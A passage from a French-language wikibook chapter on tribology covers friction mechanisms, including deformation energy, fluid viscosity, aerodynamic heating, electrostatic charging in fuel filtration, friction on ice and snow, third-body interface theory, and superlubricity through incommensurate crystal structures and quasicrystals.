l'usure. Dans les cas extrêmes il y aura grippage, arrêt du mouvement relatif par frottement interfacial. == Energie de déformation == Des auteurs comme [[w:sir John Leslie|sir John Leslie]] (1804), Gumbel (1921), Epifanov (1934) ou Ling (1967) attribuent la résistance de frottement au travail de déformation des solides et en particulier, d'après Ling, au travail de déformation plastique. Le frottement n'est pas une simple action superficielle : il concerne aussi les pièces sur une certaine profondeur, du fait des lois de l'élasticité et de la résistance des matériaux. Il n'est cependant pas facile de faire la part des pertes d'énergie superficielles et internes. L'énergie de déformation est l'un des phénomènes prépondérants dans le cas des matériaux visco-élastiques comme les caoutchoucs ou les plastiques, ainsi que dans le frottement de roulement. Les phénomènes d'hystérésis élastique ont été largement étudiés par Tabor. Ce que les joueurs de pelote basque appellent une balle vive, est une sphère de caoutchouc qui rebondit sur un sol dur à une hauteur proche de celle d'où on l'a lâchée. Il est facile de vérifier que parmi des balles apparemment identiques, les plus vives roulent plus vite que les autres le long d'un plan incliné. Par défaut d'élasticité, les [[w:pneumatique|pneumatique]]s d'une automobile de puissance moyenne roulant à 90 km/h, sur un sol plan, dans les conditions normales de roulage, consomment jusqu'au tiers de la puissance fournie par le moteur. Dans les roulements à billes ou à rouleaux, le lubrifiant sert avant tout à prévenir le grippage des surfaces. Contrairement à une idée reçue, son effet sur la diminution des frottements est minime : il ne peut bien évidemment pas diminuer les pertes par hystérésis dans l'acier. Au contraire, trop lubrifier un roulement aboutit au résultat inverse, le brassage du lubrifiant qui en résulte consomme beaucoup d'énergie et peut même provoquer un échauffement excessif capable, dans certains cas, d'accélérer les dégradations ! L'idéal reste la lubrification par brouillard d'huile, hélas inapplicable en-dehors de quelques cas particuliers. Les déformations pouvant survenir sous l'effet du frottement sont de deux sortes : irréversibles, lorsqu'elles entraînent des déformations qui persistent après que leur cause a été supprimée, et réversibles, lorsque le matériau n'est sorti nulle part de son domaine élastique. Le niveau de contraintes atteint dans les zones de contact fait que l'apparition de déformations plastiques irréversibles est dans tous les cas hautement probable, même dans des matériaux réputés fragiles, car ces derniers peuvent parfois se déformer sans se rompre lorsqu'ils sont soumis à des compressions triaxiales suffisamment importantes. La notion de « résistance aux glissements moléculaires » prend ici toute son importance. Dans les matériaux ductiles, celle-ci est plusieurs dizaines de fois plus faible que les contraintes qui amènent à la rupture et caractérisent ce que l'on appelle parfois « résistance à l'éclatement » ; ainsi, le glissement interne n'entraîne aucune décohésion. Dans les matériaux fragiles, en revanche, la résistance au glissement moléculaire et la résistance à l'éclatement sont voisines, la rupture se produit de préférence à la déformation permanente. La résistance aux glissements moléculaires est relativement faible dans les matériaux homogènes et constitués d'arrangements ordonnés de particules de même taille (comme cela se produit pour les structures cubiques à face centrées et hexagolales compactes, par exemple). On montre que les glissements sont plus faciles lorsqu'ils se produisent dans les directions de plus fortes densités atomiques. Par contre, pour les matériaux hétérogènes, les glissements sont plus difficiles : le fer pur, par exemple, est relativement mou, on peut le durcir en substituant dans le réseau cristallin des atomes plus petits ou plus gros que les atomes de fer, ou encore en insérant de petits atomes dans les interstices que laissent entre eux les gros atomes métalliques. Ceci doit être soigneusement dosé : un excès d'atomes étrangers augmente en effet la fragilité. == Frottement dans les fluides == Les fluides se distinguent des solides, des pâtes et des pseudo-fluides par le fait que lorsqu'ils sont au repos, il ne sont le siège d'aucune contrainte de cisaillement. Il en résulte qu'ils n'ont pas de forme propre mais aussi que l'on n'a besoin d'aucune énergie pour les déformer, pourvu que cette déformation soit infiniment lente. Il n'en va pas de même au sein d'un volume de fluide que l'on déforme avec une certaine rapidité. On constate alors l'apparition d'actions mécaniques internes qui freinent cette déformation. Ces résistances passives correspondent à la '''[[w:viscosité|viscosité]]''' du fluide, elles résultent de frottements internes et correspondent à des contraintes de cisaillement. L'étude détaillée des phénomènes de viscosité se trouve dans le chapitre du wikilivre consacré aux '''[[Tribologie - Lubrifiants liquides|lubrifiants liquides]]'''. Dans un '''fluide parfait''', les éléments de volume infiniment petits que l'on peut découper par la pensée ne sont soumis qu'à des actions de contact normales à leurs surfaces extérieures, qu'ils soient ou non en mouvement. Dans un '''fluide visqueux''', ceci n'est vrai qu'à l'arrêt ; en mouvement, ces actions ne sont pas partout normales. L'existence de la viscosité implique que tout déplacement d'un élément de fluide, au sein de ce dernier ou par rapport à une paroi, nécessite la dépense d'une certaine énergie. L'action des frottements dans les fluides concerne aussi bien les liquides que les gaz. [[w:Duhen|Duhen]] a signalé qu'une partie de la viscosité n'était qu'apparente et due à de petits mouvements tourbillonnaires, l'autre partie étant due à ce qu'il a appelé la « viscosité intrinsèque ». Beaucoup d'auteurs se sont penchés sur ces questions, et non des moindres : [[w:Daniel Bernoulli|Daniel Bernoulli]], [[w:Jean Bernoulli|Jean Bernoulli]], [[w:d'Alembert|d'Alembert]], [[w:Leonhard Euler|Leonhard Euler]], [[w:Barré de Saint-Venant|Barré de Saint-Venant]], [[w:Osborne Reynolds|Osborne Reynolds]], [[w:Sommerfeld|Sommerfeld]], etc. On ne dispose d'aucune théorie satisfaisante sur la véritable nature des frottements dans les fluides, ce qui explique la prolifération des travaux expérimentaux et la rareté des études théoriques convaincantes. La viscosité dépend avant tout de la nature du fluide, elle est faible pour les liquides dits « mobiles » comme l'eau, l'essence, l'éther éthylique, et beaucoup plus forte pour les sirops, les huiles, l'acide sulfurique concentré ou la glycérine. Elle dépend de nombreux facteurs, dont le plus important pour les applications pratiques est la température. Une étude beaucoup plus complète de la viscosité est présentée dans le chapitre consacré aux [[Tribologie - Lubrifiants|lubrifiant]]s. Retenons pour l'instant quelques idées : * un fluide présentant une faible affinité pour une surface solide va glisser sur cette surface, comme fait le mercure sur le verre, dans ce cas l'aptitude de ce fluide à lubrifier ce solide sera mauvaise. * dans un fluide soumis à une déformation trop énergique il peut y avoir rupture par cisaillement, ce qui là encore pose des problèmes pour la lubrification. == Frottement entre un fluide et un solide == Lorsque l'on cherche à obtenir une lubrification du solide par le fluide, il est impératif que les couches superficielles du fluide soient aussi solidement que possible liées au solide. Ceci met en jeu une propriété conjointe des deux matériaux, l<nowiki>'</nowiki>'''onctuosité''', propriété qui sera examinée dans le chapitre consacré aux [[Tribologie - Lubrifiants|lubrifiant]]s. Si au contraire on souhaite faciliter la pénétration du solide dans le fluide, alors il faut éviter au maximum de telles liaisons et faire en sorte que le fluide glisse facilement sur le solide. Ce dernier doit non seulement éviter l'adhérence mais aussi être aussi lisse et propre que possible. On a pu montrer, par exemple, que le simple fait de laver régulièrement les ailes d'un avion permet de réduire le frottement dans l'air et d'économiser 12 tonnes de carburant par an et par appareil. === Phénomènes aérodynamiques === En-dessous de 1000 km/h, le frottement de l'air sur les ailes des avions ne pose pas de problème particulier mais il n'en est pas de même aux vitesses supersoniques. La [[w:dilatation|dilatation]] de la structure est le premier problème auquel doivent faire face les ingénieurs. L'avion supersonique [[w:Concorde|Concorde]] volant à sa vitesse de croisière s'allongeait de quelques 25 cm sous l'effet du frottement de l'air, ce qui est évidemment loin d'être négligeable. Les conditions deviennent particulièrement sévères lorsqu'un véhicule spatial lancé à plusieurs kilomètres par seconde pénètre dans l'atmosphère de la Terre ou d'un autre corps céleste. Chacun a encore en mémoire les problèmes posés par le bouclier spatial des véhicules lunaires Apollo et ceux des navettes spatiales étatsuniennes. On sait par exemple que la perte de la navette Columbia a été causée par l'endommagement du bouclier par un morceau de mousse issu d'un réservoir externe, au moment du lancement. Lors du retour, l'air chauffé à plus de 1500 °C s'est engouffré dans la brèche et a fait fondre la structure d'aluminium. Un exemple plus récent est celui du bouclier thermique qui a permis à la sonde Huygens de se poser sur Titan, un satellite de la planète Saturne, le 14 janvier 2005. Ce bouclier a été le premier fabriqué en Europe. En trois minutes environ, le frottement atmosphérique sur ce bouclier a permis de faire passer la vitesse de la sonde de 6 km/s à 400 m/s. De telles décélérations correspondent à la dissipation d'une énorme énergie. Une partie de celle-ci échauffe l'atmosphère traversée, évidemment sans conséquence, mais le reste est absorbé par le véhicule lui-même, d'où un échauffement très important. Pour éviter que les véhicules spatiaux soient désintégrés ou consumés à la manière des météorites qui se transforment en étoiles filantes dans l'atmosphère terrestre, il est important de calculer la trajectoire de pénétration de façon à réduire le plus possible les pics de température, mais aussi d'utiliser des formes appropriées et surtout des matériaux très particuliers. Des données sur ce sujet figurent dans les [[Tribologie - Applications pratiques|applications pratiques]] de la tribologie. Le frottement dans l'atmosphère n'a pas que des mauvais côtés. L'environnement de la Terre est en effet pollué par d'innombrables débris mis en orbite au cours des quelques 5000 lancements (reconnus) d'engins spatiaux de tous types. Parmi ces débris, dont la masse totale est estimée à environ 3000 tonnes, ceux qui se trouvent aux altitudes les plus basses sont freinés de plus en plus efficacement et promis à la désintégration dans les couches plus denses de l'atmosphère ; seuls quelques éléments plus massifs que les autres atteignent le sol de notre planète. Ce processus peut demander quelques jours, quelques mois ou quelques années, mais il aboutit toujours à « nettoyer » la très haute atmosphère. Il n'en va pas de même pour les débris qui tournent à très haute altitude, par exemple sur des orbites géostationnaires (36 000 km). Ceux-là ont des durées de vie beaucoup plus importantes, ils ne redescendront pas avant des milliers ou des millions d'années, ce qui les rend pratiquement éternels à l'échelle humaine du temps. Comme les hommes, les sociétés sont mortelles. Indépendamment des dangers que représentent ces débris pour les véhicules et équipements spatiaux en activité, ils provoqueront peut-être un jour la perplexité des archéologues de l'espace qui se demanderont comment une civilisation a pu, simultanément, produire des objets aussi évolués et détruire par inconscience sa planète nourricière. === Circulation des fluides et production de charges électriques === Les frottements qui surviennent au niveau moléculaire lors de la circulation des fluides dans les canalisations engendrent des charges électriques plus ou moins importantes selon les conditions matérielles et les facteurs d'environnement. Ces charges peuvent être produites par exemple lors de la filtration des liquides hydrauliques ou des carburants, mais aussi dans toutes sortes de circonstances beaucoup plus communes. Les manifestations de ce phénomène sont multiples, les plus évidentes étant les crépitements (clicking sounds) qui accompagnent les décharges électriques brutales survenant à l'intérieur même du fluide. Parmi les facteurs susceptibles d'intervenir, on peut noter les conditions de circulation du fluide dans les tubulures ou dans les milieux poreux (en particulier la vitesse), les turbulences, les conditions d'arrivée d'un fluide tombant sur la surface libre d'un réservoir, la présence d'air ou de gaz entraîné par l'écoulement, etc. Dans les conduites ou les réservoirs, les flux électriques sont plus ou moins facilement neutralisés au niveau des parois. Le processus dépend des charges et des constantes diélectriques du fluide, il est évidemment plus lent pour les isolants. Si les parois sont conductrices, elles acquièrent une polarité oppposée à celle du fluide. Si elles sont mises à la terre, la charge d'ensemble du circuit est nulle, dans le cas contraire les charges peuvent s'accumuler et engendrer des décharges brutales, accompagnées d'étincelles à haure énergie qui peuvent avoir des effets dévastateurs, en particuler si elles se produisent dans des milieux inflammables. Ces décharges se manifestent par des bruits de claquement à peu près périodiques d'autant plus fréquents que la vitesse de production des charges est élevée. Dans les lubrifiants, elles s'accompagnent d'une érosion des surfaces et le cas échéant de dépôts de carbone. Dans le cas des engrenages, surtout lorsque le lubrifiant contient de l'air, elles peuvent prendre une part non négligeable dans l'apparition des phénomènes de [[Tribologie - Endommagement des engrenages|piqûres]] (pitting) La génération de charges lors de la filtration des hydrocarbures a été assez bien étudiée. Dans ces produits dont la conductivité électrique est très faible, les charges peuvent être entraînées dans l'écoulement sans être immédiatement neutralisées. Une vitesse élevée, une forte viscosité, une basse température et la présence de certains additifs, renforcent le phénomène. Si le filtre est constitué d'un matériau conducteur, la neutralisation des charges est facilitée mais dans le cas contraire il se comporte comme un condensateur et les décharges sont alors susceptibles de provoquer des dégâts importants. Les remèdes sont de divers ordres. Il faut d'abord mettre l'installation à la terre pour prévenir les dégâts extérieurs et placer une grille conductrice dans l'écoulement, à la sortie du filtre, pour récupérer le plus de charges possibles. En augmentant la taille du filtre, on diminue la vitesse de passage du fluide et l'importance des charges. Des additifs antistatiques comme les dialkyldithiophosphates de zinc (ZDDP), quand ils sont tolérables, rendent le fluide plus conducteur et améliorent les choses. === Nanotubes de carbone et circulation des fluides === [[Image:Kohlenstoffnanoroehre Animation.gif|thumb|right|Structure d'un nanotube de carbone]] On sait que le carbone forme naturellement, à l'état de graphite, des structures lamellaires où les atomes sont répartis selon un réseau hexagonal. Dans certaines conditions il est possible que ces plans s'« enroulent » pour former des tubes cylindriques de quelques nm de diamètre, d'où le nom de « nanotubes » qu'on leur a attribué. Ceux-ci apparaissent spontanément dans les suies produites par une décharge électrique entre deux électrodes placées dans un gaz rare à une pression relativement basse. Les minuscules feuilles carbonées sont conformées en cylindres concentriques emboîtés les uns dans les autres. C'est le Japonais Sumio Iijima qui les a observés pour la première fois au microscope électronique, en 1991. Les nanotubes sont de 100 à 1000 fois plus longs que larges et leurs extrémités sont fermées par des surfaces hémisphériques comportant 6 pentagones et dont les propriétés sont différentes de celles des tubes eux-mêmes. De nombreux laboratoires travaillent actuellement sur ces structures dont les propriétés sont très spéciales et parfois inattendues. Des chercheurs de l'Université du Kentucky ont mis au point des nanotubes autorisant la circulation d'eau à une vitesse de l'ordre du mètre par seconde, c'est-à-dire 10 000 fois plus vite que ce que l'on obtient normalement dans des tubes « ordinaires » de même diamètre tels que ceux qui véniculent les fluides dans les cellules des organismes vivants. Ils envisagent la possibilité d'utiliser de tels tubes pour des applications médicales, par exemple pour administrer des médicaments directement dans le corps. Des membranes sont obtenues en juxtaposant des milliards de nanotubes assemblés avec une résine synthétique. Il est possible de leur associer des récepteurs chimiques capables de permettre ou d'interdire le passage de certaines molécules, par exemple des protéines. Les propriétés exceptionnelles de transmission des fluides à grande vitesse sont attribuées à un frottement particulièrement bas sur les parois internes des nanotubes. === Interactions au niveau moléculaire === ==== « Solidification » de l'eau à l'échelle nanométrique ==== Lorsque le taux d'humidité ambiant est suffisamment élevé, la vapeur d'eau peut se condenser au niveau des minuscules zones de contact des aspérités solides. Au niveau macrogéométrique, cette eau se trouve à l'état liquide et elle peut faciliter le glissement, comme cela se produit lors du frottement d'un patin sur la glace. En revanche, à l'échelle du nanomètre, la mince pellicule d'eau prise en sandwich entre les aspérités des pièces ne reste pas liquide, mais elle se solidifie pour adopter à température ambiante la structure de la glace. Les jonctions ainsi réalisées s'apparentent à un collage, il en résulte un frottement et une usure très importants qui peuvent suffire à mettre rapidement hors service de nombreux micromécanismes. La condensation peut se produire non seulement entre des pièces qui se touchent mais aussi entre des pièces très voisines qui se trouvent alors attirées l'une vers l'autre par de puissantes forces de capillarité. Cette « nuisance » peut toutefois être mise à profit, par exemple lorsqu'elle favorise le maintien en place de prothèses dentaires, ou lorsqu'elle permet la manipulation de minuscules objets à l'aide de pointes sur lesquelles ils adhèrent par simple contact. == Modes de frottement particuliers == === Frottement sur la glace === [[Image:Le Supreme Bon Ton 9 Ice Skating.jpg|thumb|400px|right]] Il a été souvent étudié et l'on a proposé, à son sujet, de nombreuses hypothèses pour expliquer le coefficient de frottement particulièrement bas que l'on connaît. Le frottement sur la glace dépend beaucoup de la température. Si celle-ci n'est pas trop basse, le frottement dégage de la chaleur et la glace fond sous le frotteur. Cette fusion est favorisée par les pressions de contact élevées qui règnent au niveau des aspérités en contact car l'eau, contrairement à l'immense majorité des autres corps, occupe plus de volume à l'état solide qu'à l'état liquide. Sous l'effet de la pression, la glace tend à occuper moins de volume et donc à se liquéfier. La très fine pellicule d'eau liquide formée dans le contact sert de lubrifiant et permet aux objets de mieux glisser sur la glace ; le coefficient de frottement atteint alors des valeurs de l'ordre de 0,02, très inférieures à celles qui sont généralement constatées entre les solides. Lorsque les températures ne sont pas très basses (-5 à -10 °C par exemple), le frottement produit des ondulations prouvant qu'un peu de glace a fondu puis regelé derrière le frotteur. Aux températures nettement plus basses (-30 °C ou moins) la fusion superficielle cesse, le coefficient de frottement reprend des valeurs plus habituelles, de l'ordre de 0,1 à 0,3, le glissement est beaucoup plus difficile et les traces d'usure sont marquées par des fractures perpendiculaires à la direction du glissement, signe que la glace a été le siège de contraintes de traction notables. Il existe de multiples manières de faire avancer les connaissances. Le Centre de science des matériaux et de science de l'ingénieur de l'Université d'Edimbourg s'est intéressé à ce sujet, en essayant de comprendre comment le balayage de la glace pouvait modifier la vitesse des pierres de curling. C'est peut-être grâce aux travaux du Dr Jane Blackford, chercheuse dans ce centre, que l'équipe britannique de curling a remporté la médaille d'or aux jeux olympiques d'hiver de Salt Lake City en 2002. Un tribomètre particulier a été conçu pour ce travail, afin de maîtriser ou de mesurer les multiples paramètres intervenant dans le glissement de divers matériaux sur la glace. Après l'essai, les surfaces de glace portant différentes traces d'usure peuvent être examinées grâce à un microscope électronique à balayage adapté aux basses températures (''Low Temperature Scanning Electron Microscope'' ou LTSEM). Ces recherches concernent de nombreux secteurs industriels, la conception de skis et de patins présentant un frottement toujours plus réduit, mais aussi l'industrie de la chaussure ou du pneumatique automobile. === Frottement sur les couches minces « spongieuses » === On sait que la présence d'une couche fluide séparant deux surfaces a pour effet de diminuer considérablement les frottements et/ou l'adhérence (ce qui n'est d'ailleurs pas toujours favorable, comme dans le cas de l'[[w:fr:aquaplaning|aquaplaning]] qui provoque chaque année des dizaines d'accidents de la route). En outre, les surfaces étant séparées par le fluide, l'usure est quasi nulle. Malheureusement, sous l'effet de la pression, en l'absence d'un système d'alimentation de la couche fluide, celle-ci voit son épaisseur diminuer jusqu'à devenir nulle à cause des fuites qui se produisent à la périphérie de la zone de contact. Les couches « spongieuses » dont il est question ici comportent une « structure » relativement dense, facilement déformable, très poreuse, « imprégnée » d'un fluide liquide ou gazeux. On peut ranger dans cette catégorie des matériaux en apparence aussi différents que le [[w:fr:cartilage|cartilage]] qui garnit les articulations des animaux, la [[w:fr:neige|neige]] pas trop compactée, les « mousses » et autres « plumes » susceptibles de participer au guidage de véhicules à grande vitesse, etc. La structure spongieuse ne saurait supporter toute seule les charges, car elle est très déformable. Lorsqu'elle est imprégnée d'un fluide, celui-ci est mis en pression et soutient les pièces frottantes. L'« éponge » intervient alors pour ralentir l'écoulement du fluide vers l'extérieur ; elle doit avoir une structure ouverte, mais pas trop. C'est ainsi, par exemple, que le frottement sur le cartilage est en fait un frottement sur le liquide synovial, que le frottement des skis sur la neige fraîche est, pour l'essentiel, un frottement sur un film d'air, etc. Les « applications » anatomiques, médicales et/ou industrielles sont évoquées dans le chapitre consacré aux [[Tribologie - Guidage par glissement|guidages par glissement]]. === Frottement sur la neige === Lors du glissement sur la neige, le poids du système glissant (skieur, avion, véhicule spécialisé, etc.) est supporté en proportions variables par un solide très spécial, la glace, et par une couche d'air plus ou moins « enfermée par surprise » sous les surfaces glissantes. La part des deux modes de sustentation qui créent la portance est éminemment variable en fonction de l'état de la neige, des surfaces en présence, des pressions, des vitesses, etc. Bien que le frottement sur la neige soit très faible, du moins quand il ne fait pas trop froid, on pourrait penser qu'un skieur de descente a tout intérêt à s'« envoler » le plus souvent possible au-dessus de la piste, pour aller plus vite et gagner un peu de temps. Or, il n'en est rien, pour deux raisons : * en décollant, le skieur perd toujours plus ou moins la position aérodynamique de recherche de vitesse (l'« oeuf » de Jean Vuarnet), de sorte qu'il se trouve davantage freiné par la résistance de l'air, * le frottement des skis sur la neige est très faible en raison de la fusion superficielle des cristaux de glace lors du glissement ; il disparaît lorsque le skieur n'est plus en contact avec la neige mais reprend avec une valeur beaucoup plus forte lors de l'atterrissage à cause du refroidissement de la semelle des skis pendant le saut, de sorte que là encore le bilan est finalement négatif. Il faut ajouter que la perte du contrôle de la trajectoire pendant le saut n'arrange généralement pas les choses. == Théories globales == En URSS, Deryaguine et Kragelsky ont jeté les bases d'une théorie synthétique du frottement et de l'usure. D'après Kragelsky, le frottement a une double nature, mécanico-moléculaire. Il est déterminé par la déformation en volume du matériau et par le fait de surmonter les liens adhésifs (jonctions soudées) développés entre les parties de surfaces frottantes au contact (1965). Il s'agit en fait à la fois d'un raisonnement pragmatique pour découvrir les '''lois de comportement''' des mécanismes frottants et d'une sorte d'aveu d'impuissance, par une certaine renonciation à approfondir les phénomènes qui surviennent à l'échelle moléculaire. Kragelsky a rassemblé dans un livre daté de 1978 tous les calculs qui permettent d'aborder qualitativement les problèmes de frottement et d'usure. {| style="border:1px solid red" cellpadding="3" cellspacing="3" align="center" |- align=center |'''Le frottement à l'échelle macroscopique est donc un phénomène complexe, jamais assimilable à un processus simple ou à une succession de processus simples, même en se bornant à des corps physiquement et chimiquement mieux définis que les matériaux industriels. Il doit être considéré comme le résultat statistique de divers phénomènes thermodynamiques élémentaires agissant simultanément en de nombreux points des couches superficielles ou sub-superficielles'''. |} == La tribologie des interfaces == Les conceptions tribologiques ont beaucoup évolué, surtout depuis le milieu du 20e siècle. Au départ on s'occupait surtout des volumes, des corps massifs, des matériaux. Plus tard, on est passé à la tribologie des surfaces puis, sous l'impulsion du regretté Marcel Godet (1984), à la tribologie des interfaces. Les conceptions modernes, dont il ne faut attendre aucun mode de calcul nouveau utilisable dans les bureaux d'études, ni aucune solution miracle pour résoudre les problèmes industriels, ont simplement le mérite de mieux rendre compte des phénomènes. Elles tiennent l'interface pour une zone à part dans le système frottant, distincte des corps frottants eux-mêmes, avec des propriétés différentes. La tribologie des interfaces inclut bien sûr la lubrification, de sorte que les notions de « frottement sec » et de « frottement fluide » deviennent de simples cas particuliers. Les conceptions classiques de l'usure sont remises en question, dans le cadre d'un enchaînement de phénomènes qui commence par le détachement de particules émises par les corps en présence, le piégeage de ces particules dans la zone de frottement, l'établissement d'un régime stationnaire où la vitesse d'émission des particules équivaut à leur vitesse d'élimination. Il y a là une notion de débit, entre les pièces en présence qui constituent des sources et le milieu extérieur qui constitue un puits. On considère que les surfaces, qui ont une composition différente de celle des volumes, jouent un rôle d'écran entre ces derniers. Ces écrans peuvent être détruits par le frottement et reconstitués par réaction avec l'environnement. Sans eux, la plupart des pièces mécaniques se souderaient purement et simplement, ce qui heureusement n'arrive pas très souvent en pratique. La constitution d'un '''troisième corps''' séparant les deux premiers commence lorsque des débris d'usure (ou des éléments étrangers) sont piégés dans les zones frottantes. En général, la composition de cette couche de séparation n'est pas du tout homogène. Souvent, mais pas toujours, la formation d'un troisième corps au détriment des deux premiers aboutit à protéger ceux-ci de l'usure.Ce phénomène est particulièrement important lorsque le troisième corps circule dans le contact, ou si l'objet frottant effectue plusieurs passages. On comprend mieux avec un exemple : au premier passage, un bâton de craie laissera un maximum de dépôt sur un tableau rugueux. Si l'on repasse la craie sur les zones où l'on a déjà écrit, les creux de la surface du tableau étant déjà remplis de poudre de craie, c'est-à-dire des débris d'usure du bâton, alors ce dernier perdra moins de matière qu'au premier passage. == Les modes d'accomodation == Lors du déplacement tangentiel d'un corps par rapport à un autre, des mécanismes d'accomodation jouent au sein du 3e corps. Berthier (1988) en distingue 4, qui peuvent survenir isolément ou simultanément : * '''mode élastique''' : le déplacement d'une pièce par rapport à l'autre se fait par une déformation réversible de l'interface, il n'y a pas de glissement, * '''mode rupture''' : l'interface se brise brutalement avec séparation des surfaces ; ce mode survient après les déformations élastiques, quand une certaine limite a été atteinte, il est évidemment irréversible, * '''mode cisaillement''' : le mouvement s'opère à l'aide d'une différence de vitesses brutale et irréversible au sein de l'interface, à un certain niveau, sans perte de contact des surfaces ; les écoulements qui en résultent ne sont pas forcément parallèles à la direction du glissement global, * '''mode rouleaux''' : les pièces se déplacent sur des « éléments roulants », le frottement et l'usure diminuent. Ce mode survient dans de nombreuses situations, entre autres avec les polymères. Une gomme effectuant une série d'allers-retours sur une table adhère fortement au début, puis de moins en moins, au fur et à mesure que se forment, au détriment sa matière, de petits « rouleaux » de caoutchouc. Lorsque ceux-ci sont créés, la gomme ne s'use pratiquement plus. Gérard Zambelli et Léo Vincent écrivent que '''le troisième corps est un opérateur qui transmet la charge (portance) d'un premier corps à l'autre et accomode, en s'écoulant (débit) d'une façon dissipative (frottement) l'essentiel de la différence de vitesse entre ces deux corps'''. Les bons troisièmes corps doivent adhérer aux surfaces frottantes et être capable d'accomoder la majeure partie de leurs déplacements relatifs. == Frottements ultrafaibles, suprafriction == La recherche de nouvelles méthodes pour diminuer les facteurs de frottement, mise en sommeil relatif pendant quelques décennies en raison du faible coût de l'énergie et d'une certaine indifférence vis-à-vis des problèmes d'écologie, semble repartir sur de nouvelles bases. Les normes antipollution ont à juste titre conduit à l'élimination des additifs au plomb dans les carburants ; on remet aujourd'hui en question l'usage des produits soufrés et phosphorés utilisés comme additifs anti-usure dans toutes les huiles pour moteurs thermiques. Selon les ingénieurs de Nissan Motors, une diminution de quelques centièmes des facteurs de frottement qui règnent dans les zones les plus sollicitées des moteurs permettrait de résuire de 5 % la consommation de carburants, qui, extrapolée au niveau mondial, ferait économiser trente milliards de litres de carburants. D'autres besoins justifient également de telles recherches, comme les prothèses où l'on voudrait bien faire approcher les performances des cartilages naturels ou les micromécanismes qui connaissent actuellement un très fort développement : en effet, plus un mécanisme est petit, plus le rapport entre les forces de surface et les forces de volume devient important. On savait depuis assez longtemps qu'en faisant frotter deux cristaux l'un contre l'autre, le frottement pouvait varier selon l'orientation relative de leurs structures. Une autre découverte, qui remonte aux années 1990, est actuellement étudiée un peu partout dans le monde : en faisant frotter certains cristaux dans l'ultravide, le frottement disparaît presque complètement. Par analogie avec la superfluidité (disparition de la viscosité de certains fluides) et la supraconductivité (disparition de la résistance électrique), ce phénomène a été appelé '''suprafriction'''. Le frottement est dit « ultrafaible » lorsque le coefficient est inférieur à 1/20e, soit 0,05. Actuellement, on ne peut travailler dans ce domaine que si le frottement met en jeu un fluide séparant les surfaces (hormis, bien sûr, l'utilisation de corps roulants ou de champs magnétiques, il s'agit ici de frottement de glissement). === L'incommensurabilité === La suprafriction (en anglais ''superlubricity'') a été prédite aux États-Unis vers 1990 par Jeffrey Sokoloff à partir du modèle de Tomlinson, puis par Motohisa Hirano et Kazumasa Shinjo de la compagnie japonaise NTT. La première condition pour qu'elle se produise est une '''propreté absolue''' des surfaces, et en particulier l'absence de produits adsorbés. La seconde condition est l''''incommensurabilité''' des structures atomiques des surfaces en présence. Sont incommensurables, au sens étymologique du terme, deux grandeurs de même espèce qui n'ont pas de sous-multiple commun, pas de mesure commune, comme par exemple deux nombres irrationnels dont le rapport ne peut être exprimé ni par un nombre entier, ni par une fraction. Le terme n'est pas très approprié au problème mais il est difficile d'en trouver un meilleur. L'exemple des alvéoles d'une mousse d'emballage permet de se représenter assez bien ce qui se passe dans le contact. {| |- |[[Image:Incommensurabilité 1.jpg|175px|center]] | À quelques « légers » détails près, la plaque de mousse est conforme au modèle de Tomlinson, dans lequel les atomes sont représentés par de petites sphères organisées selon un motif géométrique périodique et reliées au support par des liaisons élastiques. |- |[[Image:Incommensurabilité 2.jpg|175px|center]] | Lorsque les structures ont les mêmes dimensions et la même orientation, lorsqu'elles sont en d'autres termes commensurables, elles s'imbriquent l'une dans l'autre selon un schéma qui n'est pas sans rappeler les suggestions de Bélidor. |- |[[Image:Incommensurabilité 3.jpg|175px|center]] | La pénétration vue de plus près. Il est clair que le glissement des deux structures sera pour le moins difficile, mais ... ne perdons pas de vue qu'il s'agit là d'un modèle et que nous raisonnons par analogie.<br> Dans le cas des atomes, ceux-ci vont s'attirer ou se repousser « en phase », tous en même temps, d'où un frottement élevé. |- |[[Image:Incommensurabilité 4.jpg|175px|center]] | Il suffit de changer les dimensions du réseau ou, comme ici, l'orientation des structures, pour que l'imbrication ne se produise plus. Les structures sont devenues '''incommensurables''', leur glissement est beaucoup plus facile que dans le cas précédent car, statistiquement, le nombre des atomes qui se repoussent équivaut à celui des atomes qui s'attirent, d'où une sorte de compensation et un frottement plus faible. |- |[[Image:Incommensurabilité 5.jpg|175px|center]] | L'incommensurabilité vue de près. On peut noter que l'absence d'imbrication n'est pas totale, en raison de l'élasticité des éléments et des déformations provoquées par les charges. Si les liaisons avec le substrat sont suffisamment élastiques, les atomes en contact vont se déplacer quelque peu, se contourner ou s'effacer l'un devant l'autre, la perte d'énergie lors du glissement sera minime et le facteur de frottement relativement bas. La présence d'atomes étrangers créera autant d'obstacles au glissement, un peu comme si l'on ajoutait des balles de ping-pong entre les plaques de mousse, d'où la nécessité de disposer de structures extrêmement propres. |- |} Hirano et Shinjo ont mis en évidence des variations du facteur de frottement d'un facteur 25 entre une pointe de tungstène et une surface de silicium. Les études actuelles portent beaucoup sur le frottement de couches minces sous vide poussé, avec des applications attendues pour les mécanismes destinés à fonctionner dans le vide spatial (actuellement, toutes les solutions pour le guidage des éléments mécaniques dans le vide reposent sur le roulement et non sur le glissement, ce qui complique et alourdit les structures). D'autres précisions sur les recherches actuelles ont été incluses dans le chapitre '''[[Tribologie - Lubrifiants solides et vernis]]'''. On pourra aussi consulter le chapitre '''[[Tribologie - Revêtements anti-usure]]'''. === Les recherches sur les quasicristaux === Jusqu'en 1984, on pensait que les métaux ne pouvaient se présenter que sous une forme cristalline classique, mais la découverte des quasicristaux remit tout en question. Les quasicristaux, tout comme les cristaux normaux, sont formés d'atomes qui s'assemblent selon différentes structures géométriques ( triangles, carrés, hexagones,...), mais ces structures, au lieu de se répéter à intervalles réguliers, ne forment plus un réseau répétitif. De ce fait, l'alignement et l'imbrication des atomes devient impossible et il en résulte des forces de frottement plus faibles. Les alliages métalliques quasicristallins sont aujourd'hui utilisés dans de nombreux produits manufacturés, par exemple sous forme de revêtement pour les poëles à frire où ils allient leurs propriétés antiadhésives à une très bonne résistance thermique, ce qui n'est pas le cas pour les revêtements à base de PTFE. Le principal obstacle à l'utilisation des quasicristaux pour minimiser le frottement semble être la présence de contaminants à la surface des pièces, en particulier les gaz de l'air qui, en s'adsorbant selon des motifs organisés, masquent les propriétés des revêtements Des études ont lieu actuellement pour quantifier l'effet des gaz adsorbés sur des quasicristaux d'alliage aluminium-nickel-cobalt. == Frottement, microstructures et recherche tribologique == Le Professeur Robert Courtel et son équipe ont réalisé de nombreuses expériences pour évaluer les phénomènes qui se produisent au niveau des cristaux élémentaires formant les métaux. D'après lui, l'adhésion ne fait pas le frottement, elle y contribue 